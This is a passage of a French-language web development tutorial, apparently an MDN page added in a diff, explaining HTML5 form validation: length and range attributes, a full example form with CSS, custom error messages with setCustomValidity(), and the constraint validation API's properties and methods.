+<p><strong>Note :</strong> Certains types d'éléments {{HTMLElement("input")}} n'ont pas besoin d'un attribut {{htmlattrxref("pattern", "input")}} pour être validés. Spécifier le type <code>email</code>, par exemple, valide la valeur saisie par rapport à une expression régulière correspondant à une adresse e‑mail bien formée (ou une liste d'adresses e‑mail séparées par des virgules si elle possède l'attribut {{htmlattrxref("multiple", "input")}}. Comme autre exemple, les champs de type <code>url</code> vont automatiquement nécessiter une URL correctement formée.</p>
+</div>
+
+<div class="note">
+<p><strong>Note : </strong>L'élément {{HTMLElement("textarea")}} ne prend pas en charge l'attribut {{htmlattrxref("pattern", "input")}}.</p>
+</div>
+
+<h3 id="Limitation_de_la_taille_des_entrées">Limitation de la taille des entrées</h3>
+
+<p>Tous les champs de texte créés avec ({{HTMLElement("input")}} ou {{HTMLElement("textarea")}}) peuvent être limités en taille avec les attributs {{htmlattrxref("minlength", "input")}} et {{htmlattrxref("maxlength", "input")}}. Le champ sera invalide si sa taille est inférieure à la valeur {{htmlattrxref("minlength", "input")}} ou supérieure la valeur {{htmlattrxref("maxlength", "input")}}. Souvent, les navigateurs ne permettent pas aux utilisateurs de saisir des textes de grande longueur dans les champs texte, mais il peut être utile de disposer d'un contrôle plus fin.</p>
+
+<p>Pour les champs numériques (c'est à dire, &lt;type d'entrée="nombre"&gt;), les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} permettent également des contraintes de validité. Si la valeur du champ est inférieure à l'attribut {{htmlattrxref("min", "input")}} ou supérieure à l'attribut {{htmlattrxref("max", "input")}}, le champ ne sera pas valide.</p>
+
+<p>Prenons un autre exemple. Créez une nouvelle copie du fichier <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a>.</p>
+
+<p>Supprimez maintenant le contenu de l'élément <code>&lt;body&gt;</code> et remplacez-le par le suivant :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="choose"&gt;Préférez‑vous la banane ou la cerise ?&lt;/label&gt;
+    &lt;input id="choose" name="i_like" required minlength="6" maxlength="6"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="number"&gt;Combien en voulez‑vous ?&lt;/label&gt;
+    &lt;input type="number" id="number" name="amount" value="1" min="1" max="10"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Soumettre&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</code></pre>
+
+<ul>
+ <li>Ici, nous avons donné au champ de texte une taille minimale et maximale de 6 caractères — la même que celle de <em>banane</em> ou <em>cerise</em>. La saisie de moins de 6 caractères s'affichera comme non valide et la saisie de plus de 6 caractères ne sera pas possible dans la plupart des navigateurs.</li>
+ <li>Nous avons également contraint le champ <code>number</code> à un <code>min</code> de 1 et un <code>max </code>de 10 — les nombres entrés hors de cette plage seront affichés comme non valides, et vous ne pourrez pas utiliser les flèches d'incrémentation/décrémentation pour porter la valeur en dehors de cette plage.</li>
+</ul>
+
+<div class="hidden">
+<pre class="line-numbers  language-html"><code class="language-html">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 2px solid black;
+}
+
+div {
+  margin-bottom: 10px;
+}</code></pre>
+</div>
+
+<p>Voici cet exemple s'exécutant en « live » :</p>
+
+<p>{{EmbedLiveSample('Limitation_de_la_taille_des_entrées', "100%", 100)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>&lt;input type="number"&gt;</code> (et d'autres types, comme <code>range</code>) acceptent aussi un attribut {{htmlattrxref("step", "input")}} qui spécifie l'incrément en plus ou en moins de la valeur quand les contrôles d'entrée sont utilisés (comme les boutons <kbd>^</kbd> et <kbd>v</kbd>).</p>
+</div>
+
+<h3 id="Exemple_complet">Exemple complet</h3>
+
+<p>Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intégrées pour la validation :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>fieldset</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>legend</span><span class="punctuation token">&gt;Qualité</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>abbr</span> <span class="attr-name token">title</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Ce champ est obligatoire<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>*<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>abbr</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>legend</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">required</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>title<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>r1<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Mr<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>r1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>M.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">required</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>title<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>r2<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Ms<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>r2<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Mme.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>fieldset</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>n1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Quel est votre âge ?<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="comment token">&lt;!-- L'attribut pattern peut servir de recours pour les navigateurs dont le type number n'est
+         pas implémenté pour input mais qui prennent en charge l'attribut pattern. Veuillez noter
+         que les navigateurs prenant en charge l'attribut pattern ne signalent pas d'erreur quand
+         il est utilisé avec un champ number. Seule son utilisation ici agit en tant que recours. --&gt;</span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>number<span class="punctuation token">"</span></span> <span class="attr-name token">min</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>12<span class="punctuation token">"</span></span> <span class="attr-name token">max</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span> <span class="attr-name token">step</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>n1<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>age<span class="punctuation token">"</span></span>
+           <span class="attr-name token">pattern</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>\d+<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;Quel est votre fruit </span></span>favori ?<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>abbr</span> <span class="attr-name token">title</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Ce champ est obligatoire<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>*<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>abbr</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t1<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>fruit<span class="punctuation token">"</span></span> <span class="attr-name token">list</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>l1<span class="punctuation token">"</span></span> <span class="attr-name token">required</span>
+           <span class="attr-name token">pattern</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>[Bb]anane|[Cc]erise|[Cc]itron|[Ff]raise|[Oo]range|[Pp]omme<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>datalist</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>l1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Banane<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Cerise<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;
+      </span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;Citron</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;
+</span></span>      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;Fraise</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Orange<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span><span class="punctuation token">&gt;</span></span>Pomme<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>option</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>datalist</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t2<span class="punctuation token">"</span></span><span class="punctuation token">&gt;Quelle est votre</span></span> adresse électronique ?<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>email<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t2<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>email<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t3<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Laissez un court message<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t3<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>msg<span class="punctuation token">"</span></span> <span class="attr-name token">maxlength</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>140<span class="punctuation token">"</span></span> <span class="attr-name token">rows</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>textarea</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span><span class="punctuation token">&gt;</span></span>Soumettre<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: css line-numbers  language-css"><code class="language-css"><span class="selector token">body </span><span class="punctuation token">{</span>
+  <span class="property token">font</span><span class="punctuation token">:</span> <span class="number token">1</span>em sans-serif<span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span>
+  <span class="property token">margin</span> <span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">form </span><span class="punctuation token">{</span>
+  <span class="property token">max-width</span><span class="punctuation token">:</span> <span class="number token">300</span>px<span class="punctuation token">;</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">0</span> <span class="number token">5</span>px<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">p &gt; label </span><span class="punctuation token">{</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> block<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">input[type=text],
+input[type=email],
+input[type=number],
+textarea,
+fieldset </span><span class="punctuation token">{</span>
+<span class="comment token">/* requis pour composer de manière appropriée les éléments
+   de formulaire sur les navigateurs fondés sur WebKit */</span>
+  <span class="property token">-webkit-appearance</span><span class="punctuation token">:</span> none<span class="punctuation token">;</span>
+
+  <span class="property token">width</span> <span class="punctuation token">:</span> <span class="number token">100%</span><span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">1</span>px solid <span class="hexcode token">#333</span><span class="punctuation token">;</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span>
+
+  <span class="property token">font-family</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span>
+  <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">90%</span><span class="punctuation token">;</span>
+
+  <span class="property token">-moz-box-sizing</span><span class="punctuation token">:</span> border-box<span class="punctuation token">;</span>
+  <span class="property token">box-sizing</span><span class="punctuation token">:</span> border-box<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">input<span class="pseudo-class token">:invalid</span> </span><span class="punctuation token">{</span>
+  <span class="property token">box-shadow</span><span class="punctuation token">:</span> <span class="number token">0</span> <span class="number token">0</span> <span class="number token">5</span>px <span class="number token">1</span>px red<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">input<span class="pseudo-class token">:focus</span><span class="pseudo-class token">:invalid</span> </span><span class="punctuation token">{</span>
+  <span class="property token">outline</span><span class="punctuation token">:</span> none<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>{{EmbedLiveSample("Exemple_complet", "100%", 450)}}</p>
+
+
+
+<h3 id="Messages_d'erreur_personnalisés">Messages d'erreur personnalisés</h3>
+
+<p>Comme nous avons vu dans les exemples précédents, à chaque fois qu'un utilisateur tente d'envoyer un formulaire invalide, le navigateur affiche un message d'erreur. La manière dont le message est affiché dépend du navigateur.</p>
+
+<p>Ces messages automatiques présentent deux inconvénients:</p>
+
+<ul>
+ <li>Il n'y a pas de façon standard de changer leur apparence avec CSS.</li>
+ <li>Ils dépendent des paramètres régionaux du navigateur, ce qui signifie que vous pouvez avoir une page dans une langue mais les messages d'erreurs affichés dans une autre.</li>
+</ul>
+
+<table>
+ <caption>Versions françaises des navigateurs sur une page en anglais</caption>
+ <thead>
+  <tr>
+   <th scope="col">Navigateur</th>
+   <th scope="col">Affichage</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Firefox 17 (Windows 7)</td>
+   <td><img alt="Example of an error message with Firefox in French on an English page" src="/files/4329/error-firefox-win7.png" style="height: 97px; width: 228px;"></td>
+  </tr>
+  <tr>
+   <td>Chrome 22 (Windows 7)</td>
+   <td><img alt="Example of an error message with Chrome in French on an English page" src="/files/4327/error-chrome-win7.png" style="height: 96px; width: 261px;"></td>
+  </tr>
+  <tr>
+   <td>Opera 12.10 (Mac OSX)</td>
+   <td><img alt="Example of an error message with Opera in French on an English page" src="/files/4331/error-opera-macos.png" style="height: 83px; width: 218px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pour personnaliser l'apparence et le texte de ces messages, vous devez utiliser JavaScript ; il n'est pas possible de l'implémenter en utilisant uniquement HTML et CSS.</p>
+
+<p>HMTL5 fournit une <a href="http://www.w3.org/TR/html5/forms.html#the-constraint-validation-api">API de contraintes de validation</a> pour vérifier et personnaliser l'état des élément d'un formulaire. Il est possible, entre autres, de changer le texte des messages d'erreur. Voici un court exemple :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="mail"&gt;Pourriez-vous nous fournir une adresse mail ?&lt;/label&gt;
+  &lt;input type="email" id="mail" name="mail"&gt;
+  &lt;button&gt;Envoyer&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>En JavaScript, il faut appeler la méthode <a href="/en-US/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()" title="/en-US/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()"><code>setCustomValidity()</code></a>:</p>
+
+<pre class="brush: js">var email = document.getElementById("mail");
+
+email.addEventListener("keyup", function (event) {
+  if(email.validity.typeMismatch) {
+    email.setCustomValidity("J'attend un e-mail, mon cher !");
+  } else {
+    email.setCustomValidity("");
+  }
+});</pre>
+
+<p>{{EmbedLiveSample("Messages_d'erreur_personnalisés", "100%", 50)}}</p>
+
+<h2 id="Validation_de_formulaires_avec_JavaScript">Validation de formulaires avec JavaScript</h2>
+
+<p>Si vous souhaitez avoir le contrôle de l'apparence des messages d'erreur, ou si vous voulez gérer le comportement des navigateurs n'ayant pas implémenté la validation de formulaire HTML5, vous n'avez pas d'autre choix que d'utiliser JavaScript.</p>
+
+<h3 id="API_de_contraintes_de_validation_HTML5">API de contraintes de validation HTML5</h3>
+
+<p>De plus en plus de navigateurs prennent maintenant en charge l'API de validation des contraintes, et elle devient fiable. Cette API se compose d'un ensemble de méthodes et de propriétés disponibles sur chaque élément de formulaire.</p>
+
+<p>Propriétés de l'API de validation des contraintes</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriétés</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>validationMessage</code></td>
+   <td>Un message (dans la langue locale) décrivant les contraintes de validation que le contrôle ne satisfait pas (si c'est le cas), ou une chaîne vide si le contrôle n'est pas soumis à validation (<code>willValidate</code> est alors <code>false</code>), ou bien la valeur de l'élément satisfait ses contraintes.</td>
+  </tr>
+  <tr>
+   <td><code>validity</code></td>
+   <td>Un objet {{domxref("ValidityState")}} qui décrit l'état de validité de l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>validity.customError</code></td>
+   <td>Renvoie <code>true</code> si l'élément à une erreur personnalisée, <code>false</code> a contrario.</td>
+  </tr>
+  <tr>
+   <td><code>validity.patternMismatch</code></td>
+   <td>Renvoie <code>true</code> si la valeur de l'élément ne correspond pas au motif fourni, <code>false</code> dans le cas contraire. Si la méthode renvoie <code>true</code>, l'élément fera partie de la pseudo-classe CSS {{cssxref(":invalid")}}.</td>
+  </tr>
+  <tr>
+   <td><code>validity.rangeOverflow</code></td>
+   <td>Renvoie <code>true</code> si la valeur de l'élément est supérieure au maximum défini, <code>false</code> dans le cas contraire. Si le retour est <code>true</code>, l'élément fera partie des  pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.</td>
+  </tr>
+  <tr>
+   <td><code>validity.rangeUnderflow</code></td>
+   <td>Renvoie <code>true</code> si la valeur de l'élément est plus petite que le minimum défini, <code>false</code> dans le cas contraire. Si le retour est <code>true</code>, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.</td>
+  </tr>
+  <tr>
+   <td><code>validity.stepMismatch</code></td>
+   <td>Renvoie <code>true</code> si la valeur de l'élément ne correspond pas aux règles définies par l'attribut <code>step</code>,<code>false</code> a contrario. Si le retour est <code>true</code>, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.</td>
+  </tr>
+  <tr>
+   <td><code>validity.tooLong</code></td>
+   <td>Renvoie <code>true</code> si la taille de l'élément est supérieure à la longueur maximum définie, <code>false</code> dans le cas contraire. Si le retour est <code>true</code>, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.</td>
+  </tr>
+  <tr>
+   <td><code>validity.typeMismatch</code></td>
+   <td>Renvoie <code>true</code> si la syntaxe de la valeur de l'élément n'est pas correcte ; <code>false</code> dans le cas contraire. Si le retour est <code>true</code>, l'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}}.</td>
+  </tr>
+  <tr>
+   <td><code>validity.valid</code></td>
+   <td>Renvoie <code>true</code> si la valeur de l'élément n'a pas de problème de validité, sinon <code>false</code>. L'élément sera de la pseudo-classe CSS {{cssxref(":valid")}} si le retour est <code>true</code> ; de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>validity.valueMissing</code></td>
+   <td>Renvoie <code>true</code> si l'élément n'a pas de valeur alors que le champ est requis, sinon<code>false</code>. L'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est <code>true</code>.</td>
+  </tr>
+  <tr>
+   <td><code>willValidate</code></td>
+   <td>Retourne <code>true</code> si l'élément est validé lorsque le formulaire est soumis, <code>false</code> dans le cas contraire.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Méthodes_de_l'API_de_validation_des_contraintes">Méthodes de l'API de validation des contraintes</h4>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Méthodes</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>checkValidity()</code></td>
+   <td>Renvoie <code>true</code> si la valeur de l'élément n'a pas de problème de validation, <code>false</code> autrement. Si l'élément est invalide, cette méthode déclenche aussi un événement {{event("invalid")}} sur cet élément.</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity(<em>message</em>)</code></td>
+   <td>Ajoute un message d'erreur personnalisé à l'élément ; si vous définissez un message d'erreur personnalisé, l'élément est considéré comme invalide, et le message spécifié est affiché. Cela vous permet d'utiliser du code JavaScript pour établir une erreur de validation autre que celles offertes par l'API standard des contraintes de validation. Le message est affiché à l'utilisateur lorsque le problème est rapporté. Si l'argument est une chaîne de caractères vide, l'erreur personnalisée est considérée comme effacée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pour les anciens navigateurs, il existe <a href="https://hyperform.js.org/">une prothèse d'émulation (<em>polyfill</em>) comme Hyperform</a>, pour compenser le défaut de prise en charge de cette API. Comme vous utilisez déjà JavaScript, l'utilisation d'une prethèse d'émulation n'est pas un souci supplémentaire pour la conception ou l'implémentation de votre site ou application Web.</p>
+
+<h4 id="Exemple_d'utilisation_de_l'API_de_validation_des_contraintes">Exemple d'utilisation de l'API de validation des contraintes</h4>
+
+<p>Voyons comment utiliser l'API pour créer des messages d'erreur personnalisés. Tout d'abord, le HTML :</p>
+
+<pre class="brush: html">&lt;form novalidate&gt;
+  &lt;p&gt;
+    &lt;label for="mail"&gt;
+      &lt;span&gt;Veuillez saisir une adresse e-mail :&lt;/span&gt;
+      &lt;input type="email" id="mail" name="mail"&gt;
+      &lt;span class="error" aria-live="polite"&gt;&lt;/span&gt;
+    &lt;/label&gt;
+  &lt;p&gt;
+  &lt;button&gt;Envoyer&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Ce formulaire simple utilise l'attribut {{htmlattrxref("novalidate","form")}} pour désactiver la validation automatique par le navigateur ; cela permet donc à notre script d'avoir le contrôle sur la validation. Toutefois, cela ne désactive la prise en charge par l'API de validation des contraintes, ni l'application des pseudo-classes CSS  {{cssxref(":valid")}}, {{cssxref(":invalid")}}, {{cssxref(":in-range")}} et {{cssxref(":out-of-range")}}. Cela signifie que, même si le navigateur ne vérifie pas automatiquement la validité du formulaire avant l'envoi des données, vous pouvez toujours effectuer cette validation et définir l'apparence du formulaire par vous-même.</p>
+
+<p>L'attribut <code><a href="https://developer.mozilla.org/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions">aria-live</a></code> garantit que nos messages d'erreur personnalisés seront affichés à tout le monde, y compris les personnes utilisant des techniques d'assistance comme des lecteurs d'écran.</p>
+
+<h5 id="CSS">CSS</h5>
+
+<p>Ce CSS compose le formulaire et les messages d'erreur pour les rendre plus attrayants.</p>
+
+<pre class="brush: css">/* Juste pour que notre exemple soit plus joli */
+body {
+  font: 1em sans-serif;
+  padding: 0;
+  margin : 0;
+}
+
+form {
+  max-width: 200px;
+}
+
+p * {
+  display: block;
+}
+
+input[type=email]{
+  -webkit-appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+/* Voici notre composition pour les champs invalides */
+input:invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus:invalid {
+  outline: none;
+}
+
+/* Voici la mise en forme pour les erreurs */
+.error {
+  width  : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}</pre>
+
